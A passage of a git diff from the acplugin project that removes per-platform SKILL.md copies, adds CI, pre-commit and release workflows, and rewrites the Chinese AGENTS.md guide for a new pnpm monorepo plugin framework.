更新 test-fixture/ - -在 `test-fixture/` 中添加新资源类型的示例文件,确保 `scanner.test.ts` 覆盖。 - -## Frontmatter 解析容错 - -社区插件的 YAML 可能格式不规范。扫描函数中必须 try-catch `parseFrontmatter()`,解析失败时用空 frontmatter + 原始内容兜底。 diff --git a/.claude/skills/add-platform/SKILL.md b/.claude/skills/add-platform/SKILL.md deleted file mode 100644 index a09d3b8..0000000 --- a/.claude/skills/add-platform/SKILL.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -name: add-platform -description: Add support for a new target platform to acplugin (e.g., Windsurf, Zed, etc.) ---- - -# 添加新目标平台 - -当需要支持新的 AI 编程工具作为转换目标时,按以下步骤操作。 - -## 前置调研 - -1. 了解目标平台的配置格式: - - Skills/技能文件格式和路径 - - 自定义指令文件(类似 CLAUDE.md / AGENTS.md) - - MCP 服务器配置格式 - - Agent 定义方式(如果有) - - 命令/斜杠命令格式 - - Hooks 系统(如果有) - -2. 确认格式差异和降级策略 - -## 实施步骤 - -### 1. 类型注册 (`src/types.ts`) - -在 `Platform` 联合类型中添加新值: -```typescript -export type Platform = 'codex' | 'opencode' | 'cursor' | 'newplatform'; -``` - -### 2. 每个 Converter 添加分支 - -在所有 `src/converter/*.ts` 文件中,给 `switch (platform)` 添加新的 case。 - -参考现有平台的转换逻辑,特别关注: -- **路径映射**:新平台的目录结构 -- **Frontmatter 差异**:新平台是否需要特殊字段 -- **降级策略**:不支持的功能如何处理 - -### 3. 创建 Writer (`src/writer/newplatform.ts`) - -复制 `cursor.ts` 作为模板,修改平台名: -```typescript -export function generateNewPlatform(scan: ScanResult): ConvertResult { ... } -``` - -### 4. CLI 注册 (`src/index.ts`) - -- `generateForPlatform()` 添加新 case -- `validPlatforms` 数组添加新值 -- import 新 writer - -### 5. TUI 注册 (`src/tui.ts`) - -在 `selectPlatforms()` 的 choices 中添加新选项。 - -### 6. 测试 - -- 每个 converter 测试文件添加新平台的用例 -- 新增 `src/__tests__/newplatform-writer.test.ts`(可选) - -### 7. 文档 - -- 更新 README.md 和 README.zh-CN.md 的支持矩阵表格 -- 更新 llmdoc/reference/conversion-matrix.md - -## 降级策略参考 - -| 场景 | 推荐策略 | -|------|---------| -| 平台无 Agent 系统 | 降级为指令/规则文件 | -| 平台无 Hooks | 记录为文档 + 输出 warning | -| 平台 MCP 格式不同 | 做字段映射转换 | -| 平台无 Skills 概念 | 转为命令或规则文件 | -| Claude 特有字段 | 保留为 HTML 注释 | diff --git a/.claude/skills/npm-publish/SKILL.md b/.claude/skills/npm-publish/SKILL.md deleted file mode 100644 index ae7e464..0000000 --- a/.claude/skills/npm-publish/SKILL.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -name: npm-publish -description: Publish acplugin to npm with version bump, build, test, and 2FA handling -disable-model-invocation: true ---- - -# npm 发布流程 - -## 步骤 - -1. **版本升级** - ```bash - npm version --no-git-tag-version - ``` - -2. **构建 + 测试** - ```bash - npm run build && npm test - ``` - -3. **检查打包内容**(确认无测试文件) - ```bash - npm pack --dry-run - ``` - -4. **发布** - 账号有 2FA,需要用户手动输入 OTP: - ``` - 提示用户运行: ! npm publish --access=public - ``` - -5. **Commit + Push** - ```bash - git add package.json package-lock.json - git commit -m "chore: bump version to $(node -p 'require("./package.json").version')" - git push - ``` - -## 注意事项 - -- 包名是 `@disdjj/acplugin`(scoped),必须加 `--access=public` -- 不要尝试在脚本中自动发布,2FA 会阻塞 -- `prepublishOnly` 脚本会自动编译 -- `files` 字段已排除 `dist/__tests__/` diff --git a/.cursor-plugin/plugin.json b/.cursor-plugin/plugin.json deleted file mode 100644 index 1fd7897..0000000 --- a/.cursor-plugin/plugin.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "name": "converted-plugin", - "description": "Converted from Claude Code plugin via acplugin", - "version": "1.0.0", - "skills": "./skills/", - "rules": "./rules/" -} \ No newline at end of file diff --git a/.cursor/rules/claude-instructions.mdc b/.cursor/rules/claude-instructions.mdc deleted file mode 100644 index 10c0594..0000000 --- a/.cursor/rules/claude-instructions.mdc +++ /dev/null @@ -1,95 +0,0 @@ ---- -description: Project instructions imported from Claude Code CLAUDE.md -alwaysApply: true ---- -# acplugin 项目规范 - -## 项目概述 - -acplugin 是一个 CLI 工具,将 Claude Code 插件(Skills、Instructions、MCP、Agents、Commands、Hooks)转换为 Codex CLI、OpenCode 和 Cursor 格式。 - -## 技术栈 - -- TypeScript + Node.js (CommonJS) -- Commander.js (CLI) -- @inquirer/prompts + chalk (TUI) -- gray-matter (YAML frontmatter) -- @iarna/toml (TOML 序列化) -- vitest (测试) - -## 项目结构 - -``` -src/ -├── index.ts # CLI 入口 + 交互式 wizard -├── types.ts # 所有类型定义 -├── github.ts # GitHub 仓库下载 -├── tui.ts # TUI 交互(wizard、checkbox、彩色输出) -├── scanner/ -│ ├── claude.ts # .claude/ 项目结构扫描(导出可复用函数) -│ └── plugin.ts # .claude-plugin/ 插件格式扫描 -├── converter/ -│ ├── skill.ts # SKILL.md 转换 -│ ├── instructions.ts # CLAUDE.md → AGENTS.md / .mdc -│ ├── mcp.ts # .mcp.json → TOML / JSON -│ ├── agent.ts # Agent 定义转换(含降级策略) -│ ├── command.ts # Command 转换 -│ └── hooks.ts # Hooks 转换(含兼容性报告) -├── writer/ -│ ├── codex.ts # Codex 输出编排 -│ ├── opencode.ts # OpenCode 输出编排 -│ └── cursor.ts # Cursor 输出编排 -└── utils/ - ├── frontmatter.ts # YAML frontmatter 解析/序列化 - ├── toml.ts # TOML 工具 - └── fs.ts # 文件系统工具 -``` - -## 架构设计原则 - -- **三阶段 Pipeline**: Scanner → Converter → Writer -- **Scanner 提取可复用函数**: `scanSkillsDir()`, `scanAgentsDir()` 等被 claude.ts 和 plugin.ts 共用 -- **Converter 无副作用**: 接收数据,返回 `ConvertedFile`,不直接写文件 -- **Writer 负责编排**: 调用多个 converter,处理合并逻辑(如多个 instruction 合并为一个 AGENTS.md) -- **降级策略**: 目标平台不支持的功能降级为文档/规则,并输出 warning - -## 开发规范 - -### 添加新资源类型 -1. 在 `types.ts` 添加类型定义 -2. 在 `scanner/claude.ts` 添加扫描函数(导出为可复用) -3. 在 `scanner/plugin.ts` 集成 -4. 创建 `converter/xxx.ts`,实现三个平台的转换 -5. 在三个 `writer/*.ts` 中调用 converter -6. 添加测试 - -### 添加新目标平台 -1. 在 `types.ts` 的 `Platform` 联合类型添加新值 -2. 每个 `converter/*.ts` 添加新平台的转换逻辑 -3. 创建 `writer/newplatform.ts` -4. 在 `index.ts` 注册 -5. 在 `tui.ts` 的 `selectPlatforms()` 添加选项 -6. 添加测试 - -### Frontmatter 解析容错 -- 社区插件的 YAML frontmatter 可能格式不规范 -- `scanSkillsDir()` 和 `scanAgentsDir()` 已加 try-catch -- 解析失败时保留原始内容,frontmatter 设为空对象 - -### 测试 -- 测试文件在 `src/__tests__/` -- test-fixture/ 目录提供完整的 Claude Code 项目示例 -- 运行: `npm test` 或 `npx vitest run` -- 每个 converter 模块有独立测试文件 - -### npm 发布 -- 包名: `@disdjj/acplugin` -- 账号有 2FA,发布需要 OTP: `npm publish --access=public` -- `prepublishOnly` 自动编译 -- `files` 字段排除了 `dist/__tests__/` - -## Git 规范 - -- commit message 使用 conventional commits 格式 -- 仓库: https://github.com/TokenRollAI/acplugin -- 主分支: main diff --git a/.cursor/skills/add-converter/SKILL.md b/.cursor/skills/add-converter/SKILL.md deleted file mode 100644 index fe30a9a..0000000 --- a/.cursor/skills/add-converter/SKILL.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -name: add-converter -description: >- - Add a new resource type converter to acplugin (e.g., adding support for - converting a new Claude Code resource type) ---- - -# 添加新资源类型转换器 - -当需要支持转换新的 Claude Code 资源类型时,按以下步骤操作。 - -## 步骤 - -### 1. 定义类型 (`src/types.ts`) - -添加新资源的接口定义和 frontmatter 类型(如果有),以及在 `ScanResult` 中添加字段。在 `ConvertedFile.type` 联合类型中添加新值。 - -### 2. 添加扫描函数 (`src/scanner/claude.ts`) - -创建并导出可复用的扫描函数(如 `scanXxxDir()`),这样 `plugin.ts` 也能使用。 - -在 `scanClaudeProject()` 中调用新函数。 - -### 3. 集成 Plugin Scanner (`src/scanner/plugin.ts`) - -在 `scanPlugin()` 中调用新扫描函数,注意 plugin 目录结构与 .claude/ 不同: -- 项目: `.claude/xxx/` -- Plugin: `xxx/`(直接在 plugin 根目录下) - -更新 `countResources()` 包含新资源。 - -### 4. 创建 Converter (`src/converter/xxx.ts`) - -实现 `convertXxx(item, platform)` 函数,处理三个平台: - -```typescript -export function convertXxx(item: Xxx, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': return convertToCodex(item); - case 'opencode': return convertToOpenCode(item); - case 'cursor': return convertToCursor(item); - } -} -``` - -**关键原则**: -- Converter 无副作用,只返回 `ConvertedFile` -- 不支持的功能用降级策略(合并到 AGENTS.md 或 rules) -- 返回 warnings 告知用户不兼容项 - -### 5. 集成 Writer (`src/writer/*.ts`) - -在三个 writer 文件中调用新 converter,处理合并逻辑。 - -### 6. 更新 CLI 输出 (`src/index.ts`) - -更新 `printScanResult()` 和 `convertSingleScan()` 中的资源计数。 - -### 7. 添加测试 (`src/__tests__/xxx.test.ts`) - -为新 converter 创建测试,覆盖三个平台的转换逻辑。 - -### 8. 更新 test-fixture/ - -在 `test-fixture/` 中添加新资源类型的示例文件,确保 `scanner.test.ts` 覆盖。 - -## Frontmatter 解析容错 - -社区插件的 YAML 可能格式不规范。扫描函数中必须 try-catch `parseFrontmatter()`,解析失败时用空 frontmatter + 原始内容兜底。 diff --git a/.cursor/skills/add-platform/SKILL.md b/.cursor/skills/add-platform/SKILL.md deleted file mode 100644 index 3abaee1..0000000 --- a/.cursor/skills/add-platform/SKILL.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -name: add-platform -description: 'Add support for a new target platform to acplugin (e.g., Windsurf, Zed, etc.)' ---- - -# 添加新目标平台 - -当需要支持新的 AI 编程工具作为转换目标时,按以下步骤操作。 - -## 前置调研 - -1. 了解目标平台的配置格式: - - Skills/技能文件格式和路径 - - 自定义指令文件(类似 CLAUDE.md / AGENTS.md) - - MCP 服务器配置格式 - - Agent 定义方式(如果有) - - 命令/斜杠命令格式 - - Hooks 系统(如果有) - -2. 确认格式差异和降级策略 - -## 实施步骤 - -### 1. 类型注册 (`src/types.ts`) - -在 `Platform` 联合类型中添加新值: -```typescript -export type Platform = 'codex' | 'opencode' | 'cursor' | 'newplatform'; -``` - -### 2. 每个 Converter 添加分支 - -在所有 `src/converter/*.ts` 文件中,给 `switch (platform)` 添加新的 case。 - -参考现有平台的转换逻辑,特别关注: -- **路径映射**:新平台的目录结构 -- **Frontmatter 差异**:新平台是否需要特殊字段 -- **降级策略**:不支持的功能如何处理 - -### 3. 创建 Writer (`src/writer/newplatform.ts`) - -复制 `cursor.ts` 作为模板,修改平台名: -```typescript -export function generateNewPlatform(scan: ScanResult): ConvertResult { ... } -``` - -### 4. CLI 注册 (`src/index.ts`) - -- `generateForPlatform()` 添加新 case -- `validPlatforms` 数组添加新值 -- import 新 writer - -### 5. TUI 注册 (`src/tui.ts`) - -在 `selectPlatforms()` 的 choices 中添加新选项。 - -### 6. 测试 - -- 每个 converter 测试文件添加新平台的用例 -- 新增 `src/__tests__/newplatform-writer.test.ts`(可选) - -### 7. 文档 - -- 更新 README.md 和 README.zh-CN.md 的支持矩阵表格 -- 更新 llmdoc/reference/conversion-matrix.md - -## 降级策略参考 - -| 场景 | 推荐策略 | -|------|---------| -| 平台无 Agent 系统 | 降级为指令/规则文件 | -| 平台无 Hooks | 记录为文档 + 输出 warning | -| 平台 MCP 格式不同 | 做字段映射转换 | -| 平台无 Skills 概念 | 转为命令或规则文件 | -| Claude 特有字段 | 保留为 HTML 注释 | diff --git a/.cursor/skills/npm-publish/SKILL.md b/.cursor/skills/npm-publish/SKILL.md deleted file mode 100644 index ba940e5..0000000 --- a/.cursor/skills/npm-publish/SKILL.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -name: npm-publish -description: 'Publish acplugin to npm with version bump, build, test, and 2FA handling' -disable-model-invocation: true ---- - -# npm 发布流程 - -## 步骤 - -1. **版本升级** - ```bash - npm version --no-git-tag-version - ``` - -2. **构建 + 测试** - ```bash - npm run build && npm test - ``` - -3. **检查打包内容**(确认无测试文件) - ```bash - npm pack --dry-run - ``` - -4. **发布** - 账号有 2FA,需要用户手动输入 OTP: - ``` - 提示用户运行: ! npm publish --access=public - ``` - -5. **Commit + Push** - ```bash - git add package.json package-lock.json - git commit -m "chore: bump version to $(node -p 'require("./package.json").version')" - git push - ``` - -## 注意事项 - -- 包名是 `@disdjj/acplugin`(scoped),必须加 `--access=public` -- 不要尝试在脚本中自动发布,2FA 会阻塞 -- `prepublishOnly` 脚本会自动编译 -- `files` 字段已排除 `dist/__tests__/` diff --git a/.github/workflows/acplugin.yml b/.github/workflows/acplugin.yml deleted file mode 100644 index ab8ee90..0000000 --- a/.github/workflows/acplugin.yml +++ /dev/null @@ -1,18 +0,0 @@ -name: Convert Plugins -on: - push: - branches: [main] - paths: - - '.claude/**' - - 'CLAUDE.md' - -jobs: - convert: - runs-on: ubuntu-latest - permissions: - contents: write - steps: - - uses: actions/checkout@v4 - - uses: TokenRollAI/acplugin-action@v1 - with: - platforms: codex,opencode,cursor,antigravity diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..a52236f --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,30 @@ +name: CI + +on: + push: + branches: [main] + pull_request: + +permissions: + contents: read + +jobs: + verify: + name: Verify Node ${{ matrix.node }} + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + node: [20, 24] + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v4 + - uses: actions/setup-node@v6 + with: + node-version: ${{ matrix.node }} + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run check + - name: Verify publishable tarballs in a clean consumer + if: matrix.node == 20 + run: pnpm run release:verify diff --git a/.github/workflows/publish-npm.yml b/.github/workflows/publish-npm.yml index bdb15ed..5ef0040 100644 --- a/.github/workflows/publish-npm.yml +++ b/.github/workflows/publish-npm.yml @@ -1,35 +1,62 @@ -name: Publish to npm +name: Release @tokenroll/acplugin on: push: tags: - - "v*" + - "tokenroll-v*" permissions: contents: read - id-token: write jobs: - publish: + verify: + name: Verify Node ${{ matrix.node }} runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + node: [20, 24] steps: - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v4 + - uses: actions/setup-node@v6 + with: + node-version: ${{ matrix.node }} + cache: pnpm + - run: pnpm install --frozen-lockfile + - run: pnpm run check + - run: pnpm run release:verify + publish: + name: Publish fixed cohort + needs: verify + runs-on: ubuntu-latest + environment: npm + permissions: + contents: write + id-token: write + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v4 - uses: actions/setup-node@v6 with: - node-version: "24" - registry-url: "https://registry.npmjs.org" + node-version: 24 + cache: pnpm + registry-url: https://registry.npmjs.org + - run: pnpm install --frozen-lockfile + + - name: Verify tag, cohort versions, and peer ranges + run: node scripts/verify-release-cohort.mjs "$GITHUB_REF_NAME" - - name: Verify tag matches package version + - name: Rebuild and verify publishable tarballs run: | - package_version=$(node -p "require('./package.json').version") - if [ "v$package_version" != "$GITHUB_REF_NAME" ]; then - echo "Tag $GITHUB_REF_NAME does not match package.json version v$package_version" >&2 - exit 1 - fi - - - run: npm ci - - run: npm run build - - run: npm test - - run: npm pack --dry-run - - run: npm publish + pnpm run check + pnpm run release:verify + + - name: Publish missing exact versions and verify registry + run: node scripts/publish-release-cohort.mjs + + - name: Create GitHub Release after registry verification + env: + GH_TOKEN: ${{ github.token }} + run: gh release view "$GITHUB_REF_NAME" >/dev/null 2>&1 || gh release create "$GITHUB_REF_NAME" --verify-tag --generate-notes --title "$GITHUB_REF_NAME" diff --git a/.husky/pre-commit b/.husky/pre-commit new file mode 100644 index 0000000..30ae3e8 --- /dev/null +++ b/.husky/pre-commit @@ -0,0 +1,2 @@ +pnpm exec lint-staged +pnpm run typecheck diff --git a/.opencode/skills/add-converter/SKILL.md b/.opencode/skills/add-converter/SKILL.md deleted file mode 100644 index fe30a9a..0000000 --- a/.opencode/skills/add-converter/SKILL.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -name: add-converter -description: >- - Add a new resource type converter to acplugin (e.g., adding support for - converting a new Claude Code resource type) ---- - -# 添加新资源类型转换器 - -当需要支持转换新的 Claude Code 资源类型时,按以下步骤操作。 - -## 步骤 - -### 1. 定义类型 (`src/types.ts`) - -添加新资源的接口定义和 frontmatter 类型(如果有),以及在 `ScanResult` 中添加字段。在 `ConvertedFile.type` 联合类型中添加新值。 - -### 2. 添加扫描函数 (`src/scanner/claude.ts`) - -创建并导出可复用的扫描函数(如 `scanXxxDir()`),这样 `plugin.ts` 也能使用。 - -在 `scanClaudeProject()` 中调用新函数。 - -### 3. 集成 Plugin Scanner (`src/scanner/plugin.ts`) - -在 `scanPlugin()` 中调用新扫描函数,注意 plugin 目录结构与 .claude/ 不同: -- 项目: `.claude/xxx/` -- Plugin: `xxx/`(直接在 plugin 根目录下) - -更新 `countResources()` 包含新资源。 - -### 4. 创建 Converter (`src/converter/xxx.ts`) - -实现 `convertXxx(item, platform)` 函数,处理三个平台: - -```typescript -export function convertXxx(item: Xxx, platform: Platform): ConvertedFile { - switch (platform) { - case 'codex': return convertToCodex(item); - case 'opencode': return convertToOpenCode(item); - case 'cursor': return convertToCursor(item); - } -} -``` - -**关键原则**: -- Converter 无副作用,只返回 `ConvertedFile` -- 不支持的功能用降级策略(合并到 AGENTS.md 或 rules) -- 返回 warnings 告知用户不兼容项 - -### 5. 集成 Writer (`src/writer/*.ts`) - -在三个 writer 文件中调用新 converter,处理合并逻辑。 - -### 6. 更新 CLI 输出 (`src/index.ts`) - -更新 `printScanResult()` 和 `convertSingleScan()` 中的资源计数。 - -### 7. 添加测试 (`src/__tests__/xxx.test.ts`) - -为新 converter 创建测试,覆盖三个平台的转换逻辑。 - -### 8. 更新 test-fixture/ - -在 `test-fixture/` 中添加新资源类型的示例文件,确保 `scanner.test.ts` 覆盖。 - -## Frontmatter 解析容错 - -社区插件的 YAML 可能格式不规范。扫描函数中必须 try-catch `parseFrontmatter()`,解析失败时用空 frontmatter + 原始内容兜底。 diff --git a/.opencode/skills/add-platform/SKILL.md b/.opencode/skills/add-platform/SKILL.md deleted file mode 100644 index 3abaee1..0000000 --- a/.opencode/skills/add-platform/SKILL.md +++ /dev/null @@ -1,75 +0,0 @@ ---- -name: add-platform -description: 'Add support for a new target platform to acplugin (e.g., Windsurf, Zed, etc.)' ---- - -# 添加新目标平台 - -当需要支持新的 AI 编程工具作为转换目标时,按以下步骤操作。 - -## 前置调研 - -1. 了解目标平台的配置格式: - - Skills/技能文件格式和路径 - - 自定义指令文件(类似 CLAUDE.md / AGENTS.md) - - MCP 服务器配置格式 - - Agent 定义方式(如果有) - - 命令/斜杠命令格式 - - Hooks 系统(如果有) - -2. 确认格式差异和降级策略 - -## 实施步骤 - -### 1. 类型注册 (`src/types.ts`) - -在 `Platform` 联合类型中添加新值: -```typescript -export type Platform = 'codex' | 'opencode' | 'cursor' | 'newplatform'; -``` - -### 2. 每个 Converter 添加分支 - -在所有 `src/converter/*.ts` 文件中,给 `switch (platform)` 添加新的 case。 - -参考现有平台的转换逻辑,特别关注: -- **路径映射**:新平台的目录结构 -- **Frontmatter 差异**:新平台是否需要特殊字段 -- **降级策略**:不支持的功能如何处理 - -### 3. 创建 Writer (`src/writer/newplatform.ts`) - -复制 `cursor.ts` 作为模板,修改平台名: -```typescript -export function generateNewPlatform(scan: ScanResult): ConvertResult { ... } -``` - -### 4. CLI 注册 (`src/index.ts`) - -- `generateForPlatform()` 添加新 case -- `validPlatforms` 数组添加新值 -- import 新 writer - -### 5. TUI 注册 (`src/tui.ts`) - -在 `selectPlatforms()` 的 choices 中添加新选项。 - -### 6. 测试 - -- 每个 converter 测试文件添加新平台的用例 -- 新增 `src/__tests__/newplatform-writer.test.ts`(可选) - -### 7. 文档 - -- 更新 README.md 和 README.zh-CN.md 的支持矩阵表格 -- 更新 llmdoc/reference/conversion-matrix.md - -## 降级策略参考 - -| 场景 | 推荐策略 | -|------|---------| -| 平台无 Agent 系统 | 降级为指令/规则文件 | -| 平台无 Hooks | 记录为文档 + 输出 warning | -| 平台 MCP 格式不同 | 做字段映射转换 | -| 平台无 Skills 概念 | 转为命令或规则文件 | -| Claude 特有字段 | 保留为 HTML 注释 | diff --git a/.opencode/skills/npm-publish/SKILL.md b/.opencode/skills/npm-publish/SKILL.md deleted file mode 100644 index ba940e5..0000000 --- a/.opencode/skills/npm-publish/SKILL.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -name: npm-publish -description: 'Publish acplugin to npm with version bump, build, test, and 2FA handling' -disable-model-invocation: true ---- - -# npm 发布流程 - -## 步骤 - -1. **版本升级** - ```bash - npm version --no-git-tag-version - ``` - -2. **构建 + 测试** - ```bash - npm run build && npm test - ``` - -3. **检查打包内容**(确认无测试文件) - ```bash - npm pack --dry-run - ``` - -4. **发布** - 账号有 2FA,需要用户手动输入 OTP: - ``` - 提示用户运行: ! npm publish --access=public - ``` - -5. **Commit + Push** - ```bash - git add package.json package-lock.json - git commit -m "chore: bump version to $(node -p 'require("./package.json").version')" - git push - ``` - -## 注意事项 - -- 包名是 `@disdjj/acplugin`(scoped),必须加 `--access=public` -- 不要尝试在脚本中自动发布,2FA 会阻塞 -- `prepublishOnly` 脚本会自动编译 -- `files` 字段已排除 `dist/__tests__/` diff --git a/AGENTS.md b/AGENTS.md index f08a7b9..667bf18 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,91 +1,126 @@ # acplugin 项目规范 -## 项目概述 +## 项目定位 + +acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;框架默认编译为可安装的 Claude Code 和 Codex Plugin。 + +- 公开包:`@tokenroll/acplugin`、`@tokenroll/acplugin-module-hooks`、`@tokenroll/acplugin-module-mcp` +- 私有包:Core、两个内置 Compiler、内部 Test workspace +- 不提供 Instructions Component +- 旧 Claude 工程/Plugin 的导入仅属于隔离的 Migration 子系统 + +## 技术与工具约束 + +- TypeScript、Node.js >=20、ESM-only +- pnpm workspace,不使用 npm/yarn,不引入 Turborepo +- tsdown 负责 package bundle 和声明文件 +- Vitest 只用于仓库内部测试 +- Commander.js + `@inquirer/prompts` 负责 CLI/TUI +- Rolldown 只用于 Hooks/MCP 本地可执行内容 bundle + +## Monorepo + +```text +packages/ +├── acplugin/ # 公开 CLI/facade,内含隔离 Migration +├── core/ # 私有配置、扫描、生命周期、Artifact、事务 +├── compiler-claude-code/ # 私有 Claude Code Compiler +├── compiler-codex/ # 私有 Codex Compiler +├── module-hooks/ # 公开可选 Hooks Module +├── module-mcp/ # 公开可选 MCP Module +└── test/ # 私有跨包 Vitest 集成测试 +``` -acplugin 是一个 CLI 工具,将 Claude Code 插件(Skills、Instructions、MCP、Agents、Commands、Hooks)转换为 Codex CLI、OpenCode 和 Cursor 格式。 +`@tokenroll/acplugin` 构建时必须 bundle Core 和两个私有 Compiler。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。Hooks/MCP 通过 `workspace:^` peer 开发边,在 pack 后必须变为正常 `^x.y.z`。 -## 技术栈 +## 统一构建架构 -- TypeScript + Node.js (CommonJS) -- Commander.js (CLI) -- @inquirer/prompts + chalk (TUI) -- gray-matter (YAML frontmatter) -- @iarna/toml (TOML 序列化) -- vitest (测试) +```text +Config → Module lifecycle → Canonical Scanner → Compiler → Artifact graph + → full target validation → managed output transaction → report +``` -## 项目结构 +Module 生命周期固定为: +```text +configResolved → discover → validate → build → generate(target) → buildEnd ``` -src/ -├── index.ts # CLI 入口 + 交互式 wizard -├── types.ts # 所有类型定义 -├── github.ts # GitHub 仓库下载 -├── tui.ts # TUI 交互(wizard、checkbox、彩色输出) -├── scanner/ -│ ├── claude.ts # .claude/ 项目结构扫描(导出可复用函数) -│ └── plugin.ts # .claude-plugin/ 插件格式扫描 -├── converter/ -│ ├── skill.ts # SKILL.md 转换 -│ ├── instructions.ts # CLAUDE.md → AGENTS.md / .mdc -│ ├── mcp.ts # .mcp.json → TOML / JSON -│ ├── agent.ts # Agent 定义转换(含降级策略) -│ ├── command.ts # Command 转换 -│ └── hooks.ts # Hooks 转换(含兼容性报告) -├── writer/ -│ ├── codex.ts # Codex 输出编排 -│ ├── opencode.ts # OpenCode 输出编排 -│ └── cursor.ts # Cursor 输出编排 -└── utils/ - ├── frontmatter.ts # YAML frontmatter 解析/序列化 - ├── toml.ts # TOML 工具 - └── fs.ts # 文件系统工具 + +- Module 按 `dependsOn` 拓扑排序,同级保持 config 顺序。 +- State/Built State 只能向已声明依赖暴露。 +- Module 只能写 Core 提供的 workDir,不能写 `dist`。 +- Module 返回 Artifact、唯一归属的 Manifest 字段和 Compatibility,不得替换完整 Compiler。 +- `buildEnd` 在成功/失败时均按初始化逆序执行。 +- Converter/Compiler 的纯生成逻辑不得直接产生文件系统副作用。 + +## Canonical Components + +- Command:`src/commands/.md` +- Skill:`src/skills//SKILL.md`,同目录其他文件为辅助资源 +- Agent:`src/agents/.md` +- Public:默认 `public/`,支持 config copy 规则 + +所有 ID 使用小写 kebab-case。Markdown 必须有合法 YAML Frontmatter 和非空正文。依赖图必须拒绝缺失、自依赖、循环依赖。 + +兼容性必须显式:Claude 原生 Commands/Skills/Agents;Codex 原生 Skills、Commands 转显式 `command-` Skill、Agents 降级为 `agent-` fallback Skill。严格模式不得静默接受 degraded/unsupported。 + +## Hooks/MCP Module + +- 未启用 Module 时发现 `src/hooks` 或 `src/mcp` 内容必须失败。 +- Hook 作者只返回语义结果,目标 stdin/stdout 协议由 adapter 负责。 +- Hook runner 必须限制输入/输出、捕获顶层错误、使用固定脱敏错误码。 +- MCP 只支持 portable intersection:Streamable HTTP 与本地 stdio。 +- HTTP 的 secret 使用 `{ env }` 引用,构建过程不得读取值。 +- 本地 stdio MCP 必须是完整实现,并通过真实 `initialize`/`tools/list` smoke。 +- bundle 包含第三方包时,必须生成相邻 `THIRD_PARTY_LICENSES.txt`。 + +## Artifact 与事务 + +- Artifact 只允许 `bytes` 或已验证的普通文件来源,mode 只允许 `0644/0755`。 +- 拒绝绝对/穿越路径、符号链接、大小写及 Unicode 规范化冲突。 +- `dist` 是框架完整托管目录;成功构建按选中目标集合整体替换。 +- 事务顺序:锁 → 恢复 → stage → 校验 → transaction/backup → swap → cleanup。 +- 任一目标/阶段失败必须保留上次完整输出;事务修改必须补 fault-injection 测试。 +- 稳定报告和生成内容不得出现时间戳、绝对/临时路径、凭据或环境值。 + +## Migration 边界 + +Migration 位于 `packages/acplugin/src/migration/`,CLI 使用动态 import。`migration/legacy/` 只保留容错型 GitHub 下载与 Claude/plugin 扫描行为,为迁移读取服务;不得恢复旧 converter/writer/CLI/TUI。 + +- Core、Compiler、Modules、正常 CLI 启动不得 import Migration。 +- Migration 不允许原地写入,也不把 Instructions/raw Hooks/外部命令 MCP 伪装为规范化资源。 +- 无法安全映射的内容进入 `.acplugin-migration/unmapped/` 和稳定 report。 +- 不要为了 Core 的严格类型规则大范围机械重写容错型 legacy 代码。 + +## 测试 + +- Core 单元测试:`packages/core/test/` +- 跨包集成:`packages/test/test/` +- Migration 集成:`packages/test/test/migration.test.ts` + +```bash +pnpm run lint +pnpm run typecheck +pnpm run test +pnpm run build +pnpm run release:verify ``` -## 架构设计原则 - -- **三阶段 Pipeline**: Scanner → Converter → Writer -- **Scanner 提取可复用函数**: `scanSkillsDir()`, `scanAgentsDir()` 等被 claude.ts 和 plugin.ts 共用 -- **Converter 无副作用**: 接收数据,返回 `ConvertedFile`,不直接写文件 -- **Writer 负责编排**: 调用多个 converter,处理合并逻辑(如多个 instruction 合并为一个 AGENTS.md) -- **降级策略**: 目标平台不支持的功能降级为文档/规则,并输出 warning - -## 开发规范 - -### 添加新资源类型 -1. 在 `types.ts` 添加类型定义 -2. 在 `scanner/claude.ts` 添加扫描函数(导出为可复用) -3. 在 `scanner/plugin.ts` 集成 -4. 创建 `converter/xxx.ts`,实现三个平台的转换 -5. 在三个 `writer/*.ts` 中调用 converter -6. 添加测试 - -### 添加新目标平台 -1. 在 `types.ts` 的 `Platform` 联合类型添加新值 -2. 每个 `converter/*.ts` 添加新平台的转换逻辑 -3. 创建 `writer/newplatform.ts` -4. 在 `index.ts` 注册 -5. 在 `tui.ts` 的 `selectPlatforms()` 添加选项 -6. 添加测试 - -### Frontmatter 解析容错 -- 社区插件的 YAML frontmatter 可能格式不规范 -- `scanSkillsDir()` 和 `scanAgentsDir()` 已加 try-catch -- 解析失败时保留原始内容,frontmatter 设为空对象 - -### 测试 -- 测试文件在 `src/__tests__/` -- test-fixture/ 目录提供完整的 Claude Code 项目示例 -- 运行: `npm test` 或 `npx vitest run` -- 每个 converter 模块有独立测试文件 - -### npm 发布 -- 包名: `@disdjj/acplugin` -- 账号有 2FA,发布需要 OTP: `npm publish --access=public` -- `prepublishOnly` 自动编译 -- `files` 字段排除了 `dist/__tests__/` - -## Git 规范 - -- commit message 使用 conventional commits 格式 -- 仓库: https://github.com/TokenRollAI/acplugin -- 主分支: main +新增功能必须按风险补充:schema/graph、Compiler golden、Module 生命周期、事务故障、CLI 子进程/退出码、Watch 恢复、Hook adapter、MCP 协议、Migration 和 tarball consumer 测试。不得用缺少 fixture 的大面积 skip 代替验证。 + +## 发行 + +- 三个公开包统一版本,由 Changesets fixed group 管理。 +- tag 格式为 